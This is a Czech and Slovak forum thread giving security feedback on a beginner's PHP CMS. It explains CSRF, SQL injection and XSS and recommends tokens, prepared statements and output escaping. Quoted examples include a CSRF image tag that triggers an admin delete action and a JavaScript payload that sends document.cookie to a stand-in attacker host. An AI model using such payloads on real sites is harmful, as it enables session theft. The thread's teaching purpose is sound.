Moje CMS - zhodnocení

Enngage:
Také ahoj,

na první pohled se mi to líbí. Přijde mi to velmi jednoduché a uživatelsky příjemné. Trochu jsem hledal, kde se změní design (šablona) stránek - ale to patrně v demu nelze, že ano?

Co se týká vývoje, tak ses evidentně inspiroval u WP, či již nějakého většího zaběhnutého CMS.

Co zde trochu postrádám, je dokumentace. Bohužel ne vždy dokáži odhadnout, co kde je a co jak funguje, aniž bych na to kliknul...

WP = WordPress, jeden z nejrozšířenějších PHP CMS.

Co se týče bezpečnosti, je nutné ošetřit všechny stránky, ne pouze přihlašovací formulář. Dám ti příklady:
1) Cross-site Request Forgery (CSRF): Budu v systému přihlášený jako administrátor a někdo mi pošle odkaz na speciálně vytvořenou stránku, kde bude (hypoteticky, nezakládám na reálné funkčnosti/adrese):
A já tu stránku navštívím a kvůli tomu, že jsem aktuálně přihlášen, se akce provede pod moji identitou a ke smazání stránky dojde. Nemusí se jednat pouze o akci přes GET, na stránce může být i automaticky odeslaný formulář na nějakou POST akci.

2) SQL injection: Budu na webu mít účet jako redaktor pouze pro editaci obsahu stránek, nebudu mít práva na hlubší zásahy do systému. Můžu ale využít SQL injection, abych závažnějším způsobem ovlivnil chod systému - získal citlivá data a osobní údaje uživatelů, provedl destruktivní změny smazáním obsahu z databáze apod.

3) Cross-site Scripting (XSS): Budu v systému přihlášený jako administrátor a někdo mi podstrčí nebo jinak vnutí odkaz (jako v bodu 1), který vědomě nebo nevědomě otevřu a např. odešlu obsah svých cookies útočníkovi. Ten pak může využít aktivní session a vniknout do systému pod mým účtem.

A nejsou to samozřejmě jediné možné způsoby narušení bezpečnosti. Doporučuji prostudovat si alespoň základní informace o možných zranitelnostech a útocích, např. podle projektu OWASP, který mimo jiné sestavuje žebříček 10 nejzávažnějších/nejrozšířenějších.

Ideální je pak používat nástroje a technologie, které možné zranitelnosti automaticky omezují nebo jim zcela zamezí. Problémem ručního ošetřování je totiž snadná možnost chyby (třeba zapomeneš ošetřit jeden z několika desítek formulářů, nebo si za pár let při dalším rozvoji už nevzpomeneš, co a jak bylo potřeba ošetřit). V případě SQL injection to typicky bývá databázová vrstva, která parametry vkládané do dotazů ošetřuje zcela automaticky a správně napříč možnými druhy databázových serverů.

Bezpečnost je nutné řešit průběžně po celou dobu vývoje, začátek nevyjímaje. Tím, že nebudeš zpočátku řešit nic a pak hotový systém budeš zabezpečovat, si výrazně zvyšuješ riziko chyby/opomenutí a ztěžuješ práci (můžeš zjistit, že některé ochrany se neobejdou bez znatelných změn v jádře systému).

DJ Miky:
aj ja by som mal pár otázok ohľadom bezpečnosti:
> 1) Cross-site Request Forgery (CSRF): Budu v systému přihlášený jako administrátor a někdo mi pošle odkaz na speciálně vytvořenou stránku, kde bude (hypoteticky, nezakládám na reálné funkčnosti/adrese):
>
> <img src="http://example.cz/cms/admin/pages?delete=1">
>
> A já tu stránku navštívím a kvůli tomu, že jsem aktuálně přihlášen, se akce provede pod moji identitou a ke smazání stránky dojde. Nemusí se jednat pouze o akci přes GET, na stránce může být i automaticky odeslaný formulář na nějakou POST akci.
prečítal som si o tom dnes dosť článkov, ale vychádza mi z toho toto:
-nedá sa proti tomu brániť na 100%
-najefektívnejšie je vždy pri logine vygenerovať token, uložiť ho do db, a vždy kontrolovať správnosť tokenu teda ak by mi niekto poslal url v obrázku ht[!tp://example.cz/cms/admin/pages?delete=1 bez tokenu tak by sa nič nestalo, a nevyriešilo by to aj bod 3?

pochopil som to správne? nejaké lepšie riešenia?

Enngage:
Ohledně obou bodů můžeš použít vrstvu, která práci s databází abstrahuje. Může se jednat o dibi, NotORM nebo čisté PDO, nad NotORM pracuje. Ty jednak zajišťují přenositelnost - výměna MySQL za PgSQL nebo SQLite bude jen otázkou přepsání parametrů připojení - a jednak automaticky ošetřují vkládané hodnoty podle použité databáze (samozřejmě pokud je použiješ správně, i tyto knihovny ti dovolí ručně sestavit dotaz, což je předpokladem pro SQL injection). Např. ukázka kódu z webu dibi:


Podobné je to i v NotORM a PDO. Zadané hodnoty se správně ošetřují, tudíž jako $id, $arr i $x můžeš dosadit v podstatě cokoliv a nezpůsobí to SQL injection. Navíc je ošetření automatické, proto se nestane, že bys zapomněl nějakou hodnotu ošetřit.

Co se týče ostatních zranitelností, i tady ti mohou pomoct některé frameworky, ochranu proti XSS má kvalitně zpracovanou Nette, které v šablonách vypisované texty také automaticky ošetřuje, a to i v závislosti na kontextu. Ošetření vůči CSRF se u formulářů zajistí jedním řádkem. Viz stránka o bezpečnosti Nette.


final:
Dobrým předpokladem je využívat pro akce měnící data (vytvoření, úprava, smazání záznamu) formulář odesílaný POSTem. Způsob ošetření, který se běžně používá, je generování unikátního a náhodného tokenu pro každý formulář (ne jednoho pro celé sezení) a jeho následná kontrola při zpracování formuláře. Token můžeš na serveru uložit kamkoliv, do databáze nebo do session, na tom už tolik nezáleží.

Bod 3 je jiná zranitelnost, tu tímto způsobem nevyřešíš.
Praktická ukázka:
Máš vyhledávací formulář. Na stránce s výsledky vypíšeš i hledaný dotaz:
Pokud jako hledaný řetězec napíšu např. <script>alert('ahoj');</script>, vznikne adresa třeba example.cz/search.php?q=<script>alert('ahoj');</script> a dojde k vypsání do textu stránky:
Čímž se skript provede a vyskočí mi okno s textem 'ahoj'. Místo relativně neškodného alertu můžu napsat něco jako:
Po vykonání tohoto skriptu se odešle obsah prohlížečové cookie na můj web, kde si ho můžu uložit a použít např. identifikátor session pro vniknutí do systému.
Řešení: ošetřovat všechny vypisované řetězce, v tomto případě bude potřeba funkce htmlspecialchars():
Ale pravidla pro ošetření jsou složitější a závisí na kontextu (HTML, JavaScript, CSS,...), viz http://phpfashion.com/escapovani-definitivni-prirucka.

DJ Miky:
„Dobrým předpokladem je využívat pro akce měnící data (vytvoření, úprava, smazání záznamu) formulář odesílaný POSTem. Způsob ošetření, který se běžně používá, je generování unikátního a náhodného tokenu pro každý formulář (ne jednoho pro celé sezení) a jeho následná kontrola při zpracování formuláře. Token můžeš na serveru uložit kamkoliv, do databáze nebo do session, na tom už tolik nezáleží.“
čiže ten token mám vygenerovať až vždy keď užívateľ otvorí ten formulár? v takom prípade keby ten formulár neupravil a odišiel by to bolo zbytočne vytvorené nie?

DJ Miky:
> Čímž se skript provede a vyskočí mi okno s textem 'ahoj'. Místo relativně neškodného alertu můžu napsat něco jako:
>
> window.location = 'http://muj-web.example.com/ulozit.php?cookie=' + document.cookie;
>
> Po vykonání tohoto skriptu se odešle obsah prohlížečové cookie na můj web, kde si ho můžu uložit a použít např. identifikátor session pro vniknutí do systému.
teraz som nad tým premýšlal..ale tým by som získal iba predsa svoje cookies nie? nič by mi predsa nepomohli keďže si ich môžem pozrieť aj v prehliadači

Enngage:
„Formuláře a URL parametry ošetřím na vstupu.“

To není dobrá cesta, protože každé použití řetězce (SQL dotaz, HTML výstup, výstup do JavaScriptu) vyžaduje jinou formu ošetření (viz výše zmíněný odkaz) a ošetřením na vstupu daný řetězec znehodnotíš. Navíc bude u některých polí (zmíněné pole pro HTML) neprázdný průnik znaků, které jsou platné a potřebné, a znaků, které musíš ošetřit pro zamezení injekce. Právě u v poli pro HTML se můžou běžně vyskytnout apostrofy a uvozovky, přičemž po neošetřeném vložení do SQL dotazu ti v lepším případě způsobí syntaktickou chybu, v horším případě poskytnou prostor právě pro SQL injekci.

Co se týče databázové vrstvy, v příspěvku výše jsem odkazoval na dibi, NotORM a PDO. dibi a PDO ti zajistí syntaktickou správnost napříč různými databázemi (MySQL, PgSQL, SQLite, ...) a pomůžou automatickým ošetřováním vstupních parametrů. NotORM také, ale na rozdíl od obou předchozích jde trochu jinou cestou, snaží se vyhnout psaní SQL dotazů v klasické formě, ale nabízí jednoduché objektové rozhraní, které dotazy generuje samo (viz příklady na domovské stránce). Práce v NotORM je celkem pohodlná, ale pro začátečníky v objektovém programování může být až moc magická, takže bych spíše doporučil dibi, které se více podobá klasické práci s mysql_connect, _query, _fetch_* apod.

Samotné přepsání mysql_* na mysqli_* ti v ošetřování dotazů vůči SQL injekci moc nepomůže, pořád bys musel vše ošetřovat ručně. Automatické ošetření zajišťuje využití prepared statements, kde všechny vstupní parametry dodáš mimo samotný dotaz a knihovna ti zajistí správné ošetření. Konkrétně v mysqli mi to přijde trochu těžkopádné, v dibi, NotORM a PDO je to jednodušší a pohodlnější. Navíc mysqli_* pořád znamená závislost na MySQL databázi (a tím pádem horší přenositelnost).


final:
„teraz som nad tým premýšlal..ale tým by som získal iba predsa svoje cookies nie? nič by mi predsa nepomohli keďže si ich môžem pozrieť aj v prehliadači“

Lze to ale poměrně snadno zneužít pro získání cizích cookies. Vytvořím stránku a vložím na ní (neviditelný) obrázek:
(Pozn.: Znaky v adrese by měly být více ošetřené, jen jsem nechtěl, aby to vypadalo krypticky.)
Pošlu ti odkaz, ty stránku navštívíš a odešlou se tvoje cookies z webu example.cz na můj web muj-web.example.com, kde si je uložím a nějak dále zužitkuji. Vložený JavaScriptový kód se totiž vykoná na doméně example.cz v tvém prohlížeči, tedy s tvými cookies. Navíc nejspíš ani nezjistíš, že se něco takového stalo.

DJ Miky:
ďakujem za pomoc